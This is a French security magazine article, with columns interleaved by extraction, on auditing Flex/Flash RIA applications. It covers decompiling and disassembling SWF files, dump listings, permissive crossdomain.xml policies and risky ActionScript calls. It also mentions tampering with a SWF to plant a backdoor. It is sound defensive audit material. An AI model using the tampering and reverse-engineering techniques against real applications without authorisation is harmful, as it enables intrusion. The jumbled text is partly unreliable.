Riches est un avantage. sont versatiles. obtenir (Affichage du code Figure 2) :

34 HAKIN9 1/2009
TEST DES APPLICATIONS RIA

<?xml version="1.0" encoding="utf-8"?> pour l'audit des applications FLEX (cf. et le navigateur. Un processus est créé
<mx:WindowedApplication xmlns:mx=http:// Figure 3). dans la mémoire à chaque exécution. En
www.adobe.com/2008/mxml Nous allons commencer par examiner le règle générale, si le flash player est utilisé,
layout="absolute" processus d'initialisation lors du chargement alors flashplayer.exe est chargé en mémoire
title="AIR Security Checks"> d'une application SWF avec le flash player pour l'exécution des applications FLEX.
<mx:Label text="AIR Security Checks"
horizontalCenter="0"
Listing 1. Code SWF décompilé
verticalCenter="0"/>
</mx:WindowedApplication> movieClip 37 FPushButtonSymbol {
#initclip
function FPushButtonClass() {
L'application est conçue de la manière this.init();
suivante : L'affichage se fait grâce à un }
simple label texte. Pour des fonctionnalités FPushButtonClass.prototype = new FUIComponentClass();
Object.registerClass('FPushButtonSymbol', FPushButtonClass);
avancées et la conception de composants, FPushButtonClass.prototype.init = function () {
on préférera utiliser ActionScript 3.0. super.setSize(this._width, this._height);
Cette vue d'ensemble présente this.boundingBox_mc.unloadMovie();
this.attachMovie('fpb_states', 'fpbState_mc', 1);
la manière dont les applications sont
this.attachMovie('FLabelSymbol', 'fLabel_mc', 2);
générées sous FLEX. Nous allons discuter this.attachMovie('fpb_hitArea', 'fpb_hitArea_mc', 3);
des erreurs de codage et l'impact que super.init();
peuvent avoir des failles de sécurité sur this.btnState = false;
this.setClickHandler(this.clickHandler);
votre système. this._xscale = 100;
this._yscale = 100;
Vision Analytique this.setSize(this.width, this.height);
if (this.label != undefined) {
Un code bien conçu permet d'avoir des
this.setLabel(this.label);
applications FLEX optimisées. Chaque }
instruction de la structure du code this.ROLE_SYSTEM_PUSHBUTTON = 43;
représente un standard type. Donner this.STATE_SYSTEM_PRESSED = 8;
this.EVENT_OBJECT_STATECHANGE = 32778;
une valeur au paramètre temps permet
this.EVENT_OBJECT_NAMECHANGE = 32780;
d'améliorer l'analyse d'une partie du code this._accImpl.master = this;
en effectuant une mesure basée sur le this._accImpl.stub = false;
temps d'exécution du processeur. Cela this._accImpl.get_accRole = this.get_accRole;
this._accImpl.get_accName = this.get_accName;
est indispensable pour des instructions this._accImpl.get_accState = this.get_accState;
fonctionnelles. En règle générale le temps this._accImpl.get_accDefaultAction = this.get_accDefaultAction;
écoulé est intéressant pour l'optimisation. this._accImpl.accDoDefaultAction = this.accDoDefaultAction;
};
La taille de l'application est elle aussi un
FPushButtonClass.prototype.setHitArea = function (w, h) {
élément important, surtout s'il s'agit d'une var hit = this.fpb_hitArea_mc;
application importante. Il sera difficile this.hitArea = hit;
d'effectuer des essais sur l'ensemble hit._visible = false;
hit._width = w;
de l'application. L'optimisation côté client
hit._height = arguments.length > 1 ? h : hit._height;
dépend de plusieurs facteurs. Il y a };
notamment le codage et la procédure FPushButtonClass.prototype.setSize = function (w, h) {
d'exécution. Pendant l'exécution, il y a un w = w < 6 ? 6 : w;
if (arguments.length > 1) {
nombre important de ressources qui sont if (h < 6) {
prises en charge, par exemple : la RAM, les h = 6;
cycles du CPU, etc. Pendant la phase de }
}
test de l'application FLEX, l'utilisation des
super.setSize(w, h);
ressources est toujours surveillée de près. this.setLabel(this.getLabel());
Cela permet de vérifier les ressources this.arrangeLabel();
nécessaires à un composant lorsque this.setHitArea(w, h);
this.boundingBox_mc._width = w;
l'application est exécutée en tant que
this.boundingBox_mc._height = h;
processus. L'optimisation d'une application this.drawFrame();
est donc indispensable pour utiliser les if (this.focused) {
super.myOnSetFocus();
ressources de la meilleur façon. Nous
}
passerons par notre modèle pour la phase this.initContentPos('fLabel_mc');
d'optimisation : On adoptera une approche };
descendante à la fois pour le test et aussi

1/2009 HAKIN9 35
DOSSIER
L'application est en cours d'exécution et rigoureuse leurs effets sur le système. Cette
Listing 2. Désassemblage d'un fichier consomme des ressources système. Une étape porte sur : l'utilisation de la RAM, les
SWF avec flasm bonne méthode pour effectuer un audit variations du CPU, etc. Avant de se focaliser
frame 0 d'optimisation consiste à varier la nature sur le code des applications FLEX, il est
constants 'component', '_parent', des algorithmes afin de tester de manière indispensable d'analyser le comportement
'arrow', 'arrow_mc',
'registerSkinElement', 'face',
'face_mc', 'shadow', 'shadow_mc', Listing 3. Dump des objets d'un fichier SWF
'darkshadow', 'darkshadow_mc',
'highlight', 'highlight_mc', [Action Objects]
'highlight3D', 'highlight3D_mc' Running Status: F:\Audit\flash_auditing>swfdump.exe -a nav.swf | more
push 'component', '_parent' ( 4 bytes) action: Push Lookup:0 ("component") Lookup:1 ("_parent")
getVariable ( 0 bytes) action: GetVariable
push '_parent' ( 2 bytes) action: Push Lookup:1 ("_parent")
getMember ( 0 bytes) action: GetMember
varEquals ( 0 bytes) action: DefineLocal
push 'arrow', 'arrow_mc' ( 4 bytes) action: Push Lookup:2 ("face") Lookup:3 ("frame5")
getVariable
push 2, 'component' [Text Objects]
getVariable Running Status: F:\Audit\flash_auditing>swfdump.exe -t nav.swf | more
push 'registerSkinElement' 4 DEFINESPRITE defines id 0096
callMethod 35 DOACTION
pop 16 PLACEOBJECT2 places id 0089 at depth 0001 name "face_mc"
push 'face', 'face_mc' 17 PLACEOBJECT2 places id 0091 at depth 0003 name "arrow_mc"
getVariable 21 PLACEOBJECT2 places id 0092 at depth 0005 name "highlight_mc"
push 2, 'component' 18 PLACEOBJECT2 places id 0093 at depth 0007 name "shadow_mc"
getVariable 20 PLACEOBJECT2 places id 0094 at depth 0009 name "darkshadow_mc"
push 'registerSkinElement' 21 PLACEOBJECT2 places id 0095 at depth 0011 name "highlight3D_mc"
callMethod 0 SHOWFRAME 1 (00:00:00,000)
pop 0 END
push 'shadow', 'shadow_mc'
getVariable [Placement Objects]
push 2, 'component' Running Status: F:\Audit\flash_auditing>swfdump.exe -p nav.swf | more
getVariable 11 FRAMELABEL "Symbol_10" has 1 extra bytes (ANCHOR)
push 'registerSkinElement' 6 PLACEOBJECT2 places id 0001 at depth 0001
callMethod | Matrix
pop | 1.000 0.000 0.00
push 'darkshadow', 'darkshadow_mc' | 0.000 1.000 0.00
getVariable 0 SHOWFRAME 1 (00:00:00,000) (label "Symbol_10")
push 2, 'component' 0 END
getVariable
push 'registerSkinElement' Listing 4. Génération de code XML à partir de Fichiers SWF
callMethod
pop Running Status: F:\Audit\flash_auditing>swfmill swf2xml nav.swf nav.xml
push 'highlight', 'highlight_mc' Output:
getVariable <actions>
push 2, 'component' <Dictionary>
getVariable <strings>
push 'registerSkinElement' <String value="component"/>
callMethod <String value="_parent"/>
pop <String value="face"/>
push 'highlight3D', 'highlight3D_mc' <String value="frame5"/>
getVariable <String value="registerSkinElement"/>
push 2, 'component' <String value="shadow"/>
getVariable <String value="frame3"/>
push 'registerSkinElement' <String value="darkshadow"/>
callMethod <String value="frame1"/>
pop </strings>
end // of frame 0 </Dictionary>
end // of defineMovieClip 104
<PushData>
defineMovieClip 105 // total frames: 1 <items>
end // of defineMovieClip 105 <StackDictionaryLookup index="0"/>
<StackDictionaryLookup index="1"/>
defineMovieClip 106 // total frames: 1 </items>
end // of defineMovieClip 106 </PushData>
<GetVariable/>
defineMovieClip 107 // total frames: 1 <PushData>
end // of defineMovieClip 107 </actions>

36 HAKIN9 1/2009
TEST DES APPLICATIONS RIA

des processus de base à l'exécution. Pour ce Vérification des Processus Liés des fonctions appelées et si elles sont
faire, nous allons exploiter les éléments qui [sous FLEX] ou non chargées. Ce facteur peut avoir
montrent l'efficacité (test d'optimisation) des Un processus se compose d'un un effet sur le processeur, certaines
applications. certain nombre de fonctions appelées applications essayent de charger
Pendant cette phase de vérification par d'autres modules. Ce processus constamment certaines fonctions à partir
des applications FLEX, il faudra prendre se fait grâce aux DLL (Dynamic Link des modules. Cela affecte la robustesse
en compte les concepts suivants : Libraries). Pour son exécution, flash player des applications FLEX, elles peuvent ne
Nous évaluons des applications FLASH. nécessite plusieurs modules chargés pas fonctionner correctement. Exemple
Dans notre méthodologie nous prenons dynamiquement. Les informations d'un module nécessaire au lancement de
en compte un nombre important de contenues dans un module sont flash player (cf. Figure 5). Le testeur peut
paramètres afin de vérifier la réponse nécessaires au testeur. En effet, elles voir quels processus liés n'ont pas été
de l'application. Ce mécanisme se fait lui permettent de déterminer la nature chargés.
uniquement pour des analyses en cours
d'exécution et avant de tester le code
Listing 5. Extraction d'objets
source. Cet aspect est essentiel pour
avoir une vue d'ensemble de la phase [-i] 181 Shapes: ID(s) 1, 3, 6, 9, 31, 33, 35, 39, 41, 43, 45, 47, 52, 54, 57, 64, 66,
70, 78, 84, 90, 102, 110, 118, 15, 127, 129, 131, 134, 137, 142, 145, 150, 155,
d'exécution et du temps écoulé.
171-173, 177, 180-183, 192, 194, 196-201, 203-209, 211-213, 223, 225-23

PHASE 1 : Test des processus Flash [-i] 149 MovieClips: ID(s) 2, 4, 5, 7, 8, 10-30, 32, 34, 36-38, 40, 42, 44, 46, 48-51,
Player en cours d'exécution 53, 55, 56, 58-63, 65, 67-69, 71

Tout d'abord vous allez voir l'analyse [-j] 19 JPEGs: ID(s) 179, 191, 426, 436, 441, 446, 520, 523, 527, 530, 557, 560, 563,
sémantique des thread d'un processus [sous 565, 567, 569, 580, 590, 605
FLEX]. Lors de la création d'un processus,
[-F] 11 Fonts: ID(s) 122, 153, 174, 184, 187, 215, 244, 421, 505, 517, 584
un nombre dédié de threads (processus
légers) sont initialisés selon l'application [-f] 1 Frame: ID(s) 0
exécutée. À chaque processus, il y a un
thread correspondant du système. L'analyse Listing 6. Exemple de Profilage avec FLEX Builder
des threads à l'intérieur d'un processus d'une <?xml version="1.0" encoding="utf-8"?>
application FLEX en cours d'exécution fournit <mx:WindowedApplication xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute">
des informations essentielles sur les objets <!-- logging/CheckDebugger.mxml -->
<mx:Script>
auxquels nous avons accès ou qui ont été
<![CDATA[
créés. Comprendre l'exécution type d'un import flash.system.Capabilities;
thread est un des éléments fondamentaux private function checkDebug():String {
dans l'évaluation des applications FLEX. if (Capabilities.isDebugger) { return "Debugger version of Flash Player!"; }
else { return "Flash Player!"; }
On obtient des informations sur les objets }
systèmes utilisés par le processus. La Figure private function checkPrint():String {
4 montre l'extraction des threads internes if (Capabilities.hasPrinting) { return "Printing Supported!"; }
else { return "Printing Not Supported!";}
à l'application flash pendant la phase
}
d'exécution sous flash player. private function checkTls():String {
On peut extraire diverses informations if (Capabilities.hasTLS) { return "TLS (Transport Layer Security) Supported!"; }
sur les threads en cours d'exécution. else { return "TLS (Transport Layer Security) Not Supported!";}}
private function checkLocalf():String {
Cela est indispensable dans le cas de
if (Capabilities.localFileReadDisable == true ) { return "Local File Read is
systèmes haut de gamme et qui exécutent Disabled!"; }
des applications lourdes. Cela peut aboutir else { return "Local File Read is Enabled!";}
à une utilisation abusive de la mémoire }]]></mx:Script>

ou des failles mémoire. En règle générale, <mx:Text id="info" text="Extracted Flash Player / System Information"/>
une faille mémoire provient d'une erreur <mx:TextArea id="debug_info" text="{checkDebug()}" width="300" height="20"/>
à l'exécution d'un thread. Par conséquent, <mx:TextArea id="tls_info" text="{checkTls()}" width="300" height="20"/>
<mx:TextArea id="local_file_info" text="{checkLocalf()}" width="300" height="20"/>
de nombreuses ressources système sont
<mx:TextArea id="print_info" text="{checkPrint()}" width="300" height="20"/>
consommées. Pour peu qu'un testeur ait <mx:TextArea id="os_info" text="{Capabilities.os}" width="300" height="20"/>
des connaissances approfondies sur <mx:TextArea id="man_info" text="{Capabilities.manufacturer}" width="300" height="20"/>
l'exécution des threads, il devient alors <mx:TextArea id="ver_info" text="{Capabilities.version}" width="300" height="20"/>
<mx:TextArea id="myText" text="" width="300" height="50"/>
facile pour lui d'examiner les threads
<mx:Button id="info_but" label="Server String Lookup"
hérités du système. Néanmoins, la click="{myText.text=Capabilities.serverString}"/>
première étape de l'évaluation se base sur </mx:WindowedApplication>
la collecte d'informations des threads.

1/2009 HAKIN9 37
DOSSIER
Test des Paramètres du Processus
Listing 7. Fichiers inter-domaines de différentes ressources Le processus est toujours associé à un
Yahoo: certain nombre de paramètres. Ces
<cross-domain-policy> paramètres sont testés avec différentes
<allow-access-from domain="*.yahoo.com" secure="false"/> valeurs afin d'analyser le comportement du
</cross-domain-policy>
<!-- http://twitter.com/crossdomain.xml -->
processus et les réponses associées au
<cross-domain-policy> système. Afin de tester le processus à son
<allow-access-from domain="*.twitter.com"/> état initial (phase d'exécution), il faut tester
<allow-access-from domain="*.discoveringradiance.com"/>
certains paramètres.
<allow-access-from domain="*.umusic.com"/>
<allow-access-from domain="*.hippo.com.au"/>
</cross-domain-policy> Analyse des Processus constituant
<!--http://api.flickr.com/crossdomain.xml --> un frein
<cross-domain-policy>
Pour l'évaluation de n'importe quelle
<allow-access-from domain="*"/>
</cross-domain-policy> application d'un système, le mécanisme
<!-- ws03.search.scd.yahoo.com compressed/chunked Fri Mar 28 00:02:26 PDT 2008 --> de priorisation des processus devrait être
<cross-domain-policy> appliqué. La priorisation des processus
<allow-access-from domain="*" secure="false"/>
</cross-domain-policy>
consiste à abaisser la priorité d'un
<!-- http://www.youtube.com/crossdomain.xml --> processus afin que les autres puissent
<cross-domain-policy> consommer les ressources du processeur.
<allow-access-from domain="*.youtube.com"/>
Ce mécanisme n'affecte en rien l'exécution
<allow-access-from domain="*.ytimg.com"/>
<allow-access-from domain="*.google.com"/> du processus mais il met de côté d'autres
</cross-domain-policy> processus utilisés pendant les cycles du
<!-- http://mypodcast.no/crossdomain.xml --> processeur. Si d'autres processus l'utilisent
<cross-domain-policy>
alors ceux en cours d'exécution, ils peuvent
<allow-access-from domain="www.kingsize.no"/>
</cross-domain-policy> exploiter l'ensemble des cycles. Ce concept
<!-- http://www.amazon.com/crossdomain.xml --> est essentiel pour l'analyse statistique
<cross-domain-policy> des malwares exécutés ou une utilisation
<allow-access-from domain="*.amazon.com"/>
<allow-access-from domain="amazon.com"/>
mémoire excessive de certains programmes
<allow-access-from domain="www.amazon.com"/> écrits sous FLEX. L'ensemble est exécuté en
<allow-access-from domain="pre-prod.amazon.com"/> tâche de fond. On peut tester également les
<allow-access-from domain="devo.amazon.com"/>
failles mémoire. Nous pouvons exploiter les
<allow-access-from domain="images.amazon.com"/>
<allow-access-from domain="anon.amazon.speedera.net"/> renseignements fournis par la priorisation
<allow-access-from domain="*.amazon.ca"/> d'une application FLEX grâce au graphique
<allow-access-from domain="*.amazon.de"/> récapitulant l'utilisation du processeur.
<allow-access-from domain="*.amazon.fr"/>
On peut également observer les ressources
<allow-access-from domain="*.amazon.jp"/>
<allow-access-from domain="*.amazon.co.jp"/> partagées par le processus avec d'autres
<allow-access-from domain="*.amazon.uk"/> applications. Les propriétés peuvent être
<allow-access-from domain="*.amazon.co.uk"/>
spécifiées comme suit : cf. Figure 6.
</cross-domain-policy>
Une autre étape dans une phase de
test consiste à refuser un processus lié
à d'autres : cf. Figure 7.
��������������������������
L'exécution d'un processus déclaré en
mémoire peut être stoppé. Les cycles du
�������������� �������������
��������������������� ������������ ����������
����������� ������������� �������������

�����������������
��������������������� �����������
������������

���������������������������

Figure 2. Exemple d'une RIA en cours


Figure 1. Vue interne d'une Application Internet Riche (RIA) d'exécution

38 HAKIN9 1/2009
TEST DES APPLICATIONS RIA

processeur peuvent donc se focaliser sur sont attribuées pour veiller à leur bonne pour un thread donné. On applique cette
le test des autres processus. exécution. Afin de tester un thread durant technique lorsque les threads en arrière-
son exécution, on réalise un Thread plan intérfèrent avec ceux de l'avant-plan.
Booster le thread d'une application boosting. Cette étape est appliquée Le thread d'avant-plan est donc boosté.
Le fonctionnement des threads est aux threads d'avant-plan. Par exemple :
disséminé à travers des threads en – windows effectue le thread boosting du Erreurs de Pages (Page Faults) de
arrière-plan et à l'avant-plan. Pour chaque processus. Le terme boosting indique un l'Application
thread, des durées de temps (time slices) quota de temps (time slice) plus important Les erreurs de pages se produisent
lorsqu'un processus tente de charger une
adresse mémoire virtuelle qui n'a pas été
Listing 8. Process Lasso en action
chargée ou initialisée. Si un processus
System.security.loadPolicyFile produit plusieurs erreurs de pages alors les
Vérifier les Paramètres du Code
performances s'en trouveront dégradées.
L'extraction des URL : getURL
Load Events : load*(URL,..) Functions, loadVariables(url, level ), LoadMovie ( Il est indispensable d'analyser le nombre
url, target ), LoadMovieNum( url, level ), XML.load ( url ), LoadVars.load ( url ), d'erreurs de pages causés par les
Sound.loadSound( url , isStreaming ); NetStream.play( url ); processus des applications FLEX.
Field Setup : TextField.htmlText [ Metadata Checks ]
Vérification des Conversions : Flash à XML
Voici quelques techniques de base
try { __flash__toXML(); } catch(e) { Undefined; } à suivre. Pour tester avec plus d'efficacité
try{code}catch(e){location.reload()} l'exécution d'une application FLEX vous
Initialisation des Variables - Globales / Locales
pouvez paramétrer le niveau de performance
level
root du processus (sa vitesse) et sa connection.
global N.B : Les techniques décrites peuvent
System.Security.allowDomain être implémentées avec Process Lasso
Débogage du Code SWF [Trace Parameter]
<mx:Script><![CDATA[
de BITSUM technologies. C'est un bon outil
private function traceEvent(event:Event):void { pour effectuer des tests orientés concept
trace(event.currentTarget + ":" + event.type); (comme ci-dessus). Illustration de Process
}
Lasso : cf. Figure 8.
]]></mx:Script>
Vérifier les Gestionnaires d'erreurs : On retrouve ici, le test d'un périphérique
private function triggerSecurityError():void { avec l'analyse d'une application FLEX en
var request:URLRequest = new URLRequest("http://www.[yourDomain].com"); cours d'exécution sous flash player. On voit
loader.load(request);
également les différents threads rattachés.
}
private function securityErrorHandler(event:SecurityErrorEvent):void {} Il s'agit uniquement d'un test sommaire. La
Vérifier les Objets Partagés : asfunction plupart des fichiers sont au format SWF, on
Vérifier l'URL source avec <mx:Application> [Enable / Disable] va s'intéresser au mécanisme de conversion
Vérifier les inputs avec <mx:validator> class
L'analyse fournit des informations sur les objets utilisés.
afin de transformer le code compilé en code
pour l'analyse. Par la suite, nous analyserons
les irrégularités du code. Attaquons la
deuxième phase.

Phase 2: Conversion du code des


������� ������� applications FLEX : Inverser la
Sémantique
Cette seconde phase porte sur le
������ �������� mécanisme de conversion à partir d'un
������ ������� fichier SWF jusqu'au code source et à son
�����
pseudo code pour l'analyse. Il s'agit d'un
���������
processus statique pour analyser la structure
interne d'une application flash. Cela est
indispensable du point de vue : test
����������������

��������������

Figure 4. Info sur les threads du


Figure 3. Modèle de flux de travail processus de Flashplayer

1/2009 HAKIN9 39
DOSSIER

Figure 6. Configuration des paramètres


Figure 5. Dépendances du processus de FlashPlayer processus

et évaluation. La rétro-ingénierie d'applications Dans un premier temps, il faut décompiler Le fichier obtenu est au format FLR. Le
FLEX permet de collecter un ensemble les applications FLEX pour pouvoir analyser code est décompilé, comme au Listing 1.
d'informations indispensables pour l'analyse leur code source. Les applications flash
d'applications cibles. Dans le cadre de ce sont pour la plupart sous forme compilées. Analyse du pseudo code :
processus, le testeur doit donc retrouver Pour en comprendre la logique, il est donc désassemblage d'une application
les informations initiales à la création de nécessaire de décompiler l'application. FLEX
l'application et ses fonctionnalités. Cela inclut : Cette étape permet d'avoir des informations La désassemblage d'applications FLEX
une décompilation, l'analyse du pseudo- sur le code qui a été développé, il devient en pseudo-code (comprendre code
code à travers son désassemblement et une donc plus aisé pour le testeur d'analyser assembleur) est un moyen efficace pour
analyse statique du code. l'application. Le but est d'avoir une vision effectuer des tests. L'analyse du pseudo-
d'ensemble du programme. Les informations code se base sur ce modèle. Cette
La décompilation d'applications relatives aux fonctions peuvent être aisément étape permet de croiser les structures
FLEX extraites. Elles donnent des indications sur d'information et les différents appels de
Afin d'avoir le code source d'une application, les instructions compilées. Autre intérêt de ce l'application. Elle donne des informations
on peut envisager la rétro-ingénierie. procédé : l'automatisation. En effet, le testeur sur les variables initialisées de manière
peut concevoir un globale ou locale. On obtient également
P U B L I C I T É autre programme une définition des divers appels de
pour analyser le fonctions au cours de l'exécution et la
code à la recherche manière dont le système y fait face. Le but
des fonctions non est de visualiser l'ensemble des objets
sécurisées. Ce utilisés et d'en connaître plus sur le pattern
processus favorise STACK. En règle générale, l'actionscript
l'analyse du code utilisé est désassemblé en fonctions au
de l'application. Si niveau du système pour avoir une bonne
un fichier flash est vision d'ensemble. Une analyse bas niveau
décompilé en code est réalisée grâce au désassemblage.
source, il peut alors Elle permet également de tracer les
être soumis à un fonctions et leurs effets sur le système.
moteur d'analyse. Les gestionnaires d'erreurs et de code
Celui-ci cherchera peuvent aussi être tracés et testés. Pour
les extraits de code comprendre comment se lance une
vulnérables (cf. application FLEX, il faut bien comprendre la
Figure 9). phase de désassemblage.
Voici quelques Pour effectuer un test de qualité, il faut
étapes clés pour effectuer un désassemblage. Pour une
la phase de analyse approfondie, l'application FLEX
décompilation. Afin devrait être testée contre les méthodes
de décompiler une mentionnées ci-dessus.
application FLEX,
on utilise un outil • Effectuez la même opération sur les
de décompilation MACROS des applications FLEX. Si
appelé FLARE [http:// nécessaire : supprimer, remplacer ou
www.nowrap.de/ changer les fichiers SWF.
flare.html]. Exécution : • Toujours vérifier les opérations de
c:\audti\flash _ compression/décompression qui se
audit> flare basent sur les besoins de l'application.
<swf file> Cette technique est efficace, car même
TEST DES APPLICATIONS RIA

le compilateur MTASC. Il compile Dumping logique de fichiers SWF


directement des fichiers objets à partir Du fait de la taille conséquente des
du code. L'objet est compilé pour fichiers SWF, il est nécessaire de faire
générer un fichier SWF. Un autre outil un dump logique des contenus. Le
peut se combiner aux fichiers SWF désassemblage est un processus
pour modifier leur code. Grâce à cette global. Un testeur pourra parfois effectuer
procédure, le test des fichiers SWF un dumping de fichiers SWF pour
s'en trouve amélioré. La compression étudier certains objets au sein d'autres
et décompression du code est plus facile fichiers. Le dumping logique fournit des
Figure 7. Test processus Activer/
grâce à la commande SWF-Combine. informations spécifiques pour l'analyse.
Désactiver
Lors de l'optimisation d'une application, Les fichiers SWF sont généralement testés
si le code est quelque peu altéré, il peut différents codes peuvent être utilisés de la manière suivante (Figure 12).
être à nouveau assemblé et testé. pour étudier son comportement Avec cette méthode, on analyse
• Effectuer un assemblage Byte Code. à l'exécution. généralement trois objets. Ces objets
• Vous pouvez tout aussi bien mettre Exécution : [1] C:\audti\flash _ audit> effectuent une action, possèdent du texte,
à jour des fichiers SWF et les swfcombine.exe [-rXYomlcv] [-f] une position à l'intérieur même du fichier
assembler avec différents paramètres masterfile [-xysf] [(name1|#id1) SWF. L'outil SWF-dump est utilisé pour
pour effectuer vos tests. =]slavefile1 .. [-xysf] [(nameN| rechercher les objets souhaités. Étudions
#idN)=]slavefileN l'affichage du Listing 3.
Un très bon assembleur est FLASM (http://
www.nowrap.de/flasm.html). Il peut mettre
en oeuvre l'ensemble des techniques que
l'on vient de citer Exécution : c:\audti\
flash _ audit> flasm -d <swf file> Le
fichier obtenu est au format FLM. Le code
est décompilé, comme au Listing 2.

POST modification des applications


FLEX : Test togique
Ce processus est critique du point de
vue test. Dans cette technique, le fichier
SWF est testé avec différents paramètres
en combinant du code test. L'ensemble
des tests sont réalisés de manière
logique. Les testeurs réalisent le code
nécessaire et le combinent avec le fichier
SWF pour tester son comportement.
Le processus de modification met en
oeuvre le stacking. Dans un stacking, le
code à un cadre (frame) à part entière Figure 8. Process Lasso en Action
et au fichier SWF d'origine. Ces cadres
sont indépendants les uns des autres,
le processus de concaténation et fusion � �
������������������������� ��������������������
peut être suivi selon l'environnement � �
� �
de test et le code de l'application. Un � �
��������������������� �����������������
attaquant peut modifier ou concevoir un � �
� �
fichier SWF malveillant afin d'obtenir une � �
�������������� ���������������������������
porte dérobée et exploiter ultérieurement � �
� �
l'application. � �
��������������������������� ������������������
Un simple code en action script peut � �
� �
être combiné avec un fichier SWF. Du côté � �
������� ��������������������������
utilisateur, cela paraît identique, mais il y a
���� ����
une différence. Voyons un modèle de test :
cf. Figure 11.
Le modèle présenté ci-dessus Figure 9. Modèle de décompilation de Figure 10. Modèle de désassemblage de
nécessite deux outils. Le premier est FLEX FLEX

1/2009 HAKIN9 41
DOSSIER
malwares. Le paramètre temps de diverses
�����������
instructions est également vérifié afin de
��������� déterminer le temps nécessaire à la fin
����������� d'un processus. Le temps est un facteur
������������� ����������
��� dépendant directement de l'utilisation du
�������� ������������
��� système, en règle générale il faut surveiller le
����������� ����������� �������� temps d'exécution (cf. Figure 13 et Listing 5).
��������
Lorsqu'une application est profilée : cf.
Figure 14.
�������
Cette approche permet d'obtenir des
��������������
������������� informations sur le temps d'exécution
des instructions. On peut comprendre
����� comment est utilisé la RAM et la puissance
��������
requise par le processeur.

Figure 11. Combiner du code dans les modèles de fichiers SWF


Analyse de code dumpé :
Générer du code XML à partir de n'en souffre aucunement. Exécution: F:\ fichiers SWF
Fichiers SWF Audit\flash _ auditing>swfextract -v Les applications basées sur Flex,
Une autre technique consiste à changer le nav.xml (cf. Listing 5). notamment celles en Flash sont exploitées
fichier SWF file au format XML. Ceprocessus au format bytecode. Cela signifie que les
est indispensable pour comprendre la Profilage de l'Application données circulent sous forme binaire.
structure hiérarchique d'un document XML. Le profilage de l'application est un processus Le navigateur considère un objet flash
Cela permet une analyse plus approfondie de test permettant de comprendre le comme objet intégré.
du fichier SWF puisque le testeur a plus de comportement de l'application à l'exécution. Plusieurs types de protocoles Web
possibilités. Du fait de la complexité et de Elle permet de comprendre les objets qui sont utilisées pour transférer les flux de
la taille conséquente des objets utilisés entrent en jeu au sein de l'application FLEX. données binaires à partir d'un serveur web.
dans les fichiers SWF, il devient difficile L'exécution est un processus classique Il est indispensable d'avoir une application
d'obtenir un format XML. Le mécanisme de au sein d'un système, mais dans le cas interprète de bytecode pour lire les données
conversion d'un format à un autre, est en du profilage des tests intermédiaires sont reçues. Pour intégrer des fichiers SWF au
règle générale considéré comme fiable. réalisés pour vérifier le fonctionnement de sein d'un navigateur, on utilise un IFRAME
Pour effectuer ce que l'on vient d'expliquer l'application. Cette technique est utile à la ou des balises frame. La sécurité peut être
ci-dessus, on peut utiliser l'outil SWF-Mill. fois pour l'optimisation et la recherche de intégrée au code lui-même. De ce fait, les
Reportons-nous au Listing 4.
����������������������������������������������
Extraire des Objets à partir des
Fichiers SWF
Cette approche est pratique pour l'extraction
d'objets à partir de fichiers SWF. Les objets
��������
peuvent être des images : JPEG, Gif, PNG, �������������� ������������
etc. D'autres objets incluent du son ou des �������������� ����������������
��������
nombres. Cette technique est efficace ��������
lorsque le testeur doit analyser des fichiers
SWF imposants. Il est difficile de suivre à la
trace les objets en question sur tout un fichier.
��������������
La procédure d'extraction est bénéfique si �����������������
�������������� �������������������������
elle cible certains objets. L'intégrité du fichier ���������
�������������

������
����
��� �������������������������
���� ���� ��������������������
������������������

����������

��������������������������������������������������
Figure 12. Dumping des paramètres des
fichiers SWF

42 HAKIN9 1/2009
TEST DES APPLICATIONS RIA

composants ont une sécurité de base. On va généré, on peut l'analyser pour voir s'il y a sein du navigateur. Ce problème se produit
dans un premier temps analyser les fichiers des vulnérabilités propres aux objets ou lorsque une version spécifique d'un plugin
SWF pour trouver des failles de sécurité des morceaux de code non sécurisés n'est pas lancée. Généralement la création
ou des vulnérabilités dans des morceaux dans l'application FLEX. Ci-dessous, une d'add-ons se fait grâce à des librairies ATL
de code. Il n'est pas évident d'analyser la présentation du modèle (Figure 15). (acronyme de Active Template Library). Elle
structure compilée d'une application binaire Il faut d'abord décompiler l'application permet de créer des objets COM grâce
et de trouver des vulnérabilités relatifs aux Flex. Le processus de décompilation est aux classes en C++. Il faut envisager la
objets. Le navigateur possède un plugin la base de tout travail d'analyse. Le code création de contrôles Active X 64 bits.
flash pour jouer directement les animations. source peut être analysé avec l'aide des DEP est activé pour lancer des
L'analyse et l'exécution se fait grâce au plugin signatures de codes vulnérables ou des processus par un mécanisme de
et l'interface de LiveConnect. morceaux de code. Objets non sécurisés protection, ce qui réduit l'utilisation de la
L'analyse du code porte également à analyser pendant la décompilation des mémoire. Cette fonctionnalité nécessite
sur l'HTML. Cela est important puisque Fichiers SWF (Listing 7). une version actualisée du Contrôle ActiveX
la plupart des fonctionnalités des et des librairies ATL. Certains plugins
applications Flex sont prises en compte Annexe telles que le flash player d'Adobe doivent
par l'intégration du HTML. Il faut d'abord Un élément important à vérifier est la être mis à jour. Les derniers add-ons ont
décompiler les applications flex au format compatibilité de flash player avec vos été améliorés et prennent en compte la
FLR [avec l'outil flare], après cette phase on navigateurs. On a pu remarquer des fonctionnalité DEP. Du côté client (en terme
obtient le code source. Une fois le fichier problèmes lorsqu'un DEP était activé au de sécurité), ce problème n'est pas géré
proprement. La sécurité des applications
FLEX, exécutée sur flash player par les
navigateurs doit être testée en amont pour
ne pas se retrouver avec des exceptions
non gérées. Le plugin est indispensable
pour les librairies standard ATL par rapport
à des compatibilités d'exécution.
Par exemple : avoir l'ancienne
version du plugin de flash player et vous
pouvez être sûr que votre navigateur
plantera. Il faut réaliser une vérification de
compatibilité. Pour ce faire, il faut vérifier les
choses suivantes :

• Vérifier la version de votre navigateur.


Figure 14. Optimisation sous Flex Builder • La version des plugins ajoutés
comme : les ADD-ONS dynamiques.
• Vérifier la politique d'Exécution des
�������� Données [DEP] sous IE.
���������

Les problèmes de compatibilité peuvent


��������� affecter la sécurité des applications en
cours d'exécution du côté client. Les
développeurs qui concoivent des contrôles
�������������
ActiveX devraient savoir quelles sont les
librairies ATL utilisées afin qu'il n'y ait pas
�������������������������� de problèmes au niveau des exceptions
(cf. Listing 8).

Aditya K Sood, a.k.a. 0kn0ck


������������������������������������������������������ Aditya K Sood, a.k.a. 0kn0ck, est un chercheur
indépendant en sécurité informatique. Il est le fondateur
de SecNiche Security. Il travaille en tant qu'Auditeur
Sécurité pour KPMG. Ses recherches ont été publiées
dans Usenix Login. Il a pu conseiller des entreprises
